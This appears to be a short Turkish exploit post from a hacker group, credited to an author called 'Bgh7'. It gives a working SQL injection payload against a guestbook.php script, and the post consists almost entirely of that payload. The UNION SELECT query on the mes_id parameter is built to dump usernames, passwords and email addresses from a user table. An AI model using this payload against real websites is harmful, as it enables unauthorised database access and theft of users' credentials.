##Yazar: Bgh7
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##Turk Bilisim Gucleri / Ihlilal Hatti
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##ByBgh7[a]Msn.Com
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##Bgh7.Blogspot.Com
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##Bug: Sql Injection
Sql: site/guestbook.php?mes_id=-99999 UNION SELECT 0,1,2,concat_ws(user,0x3a,pass,0x3a,mail),4,5,6,7,8,9,10,11,12 FROM jyuser--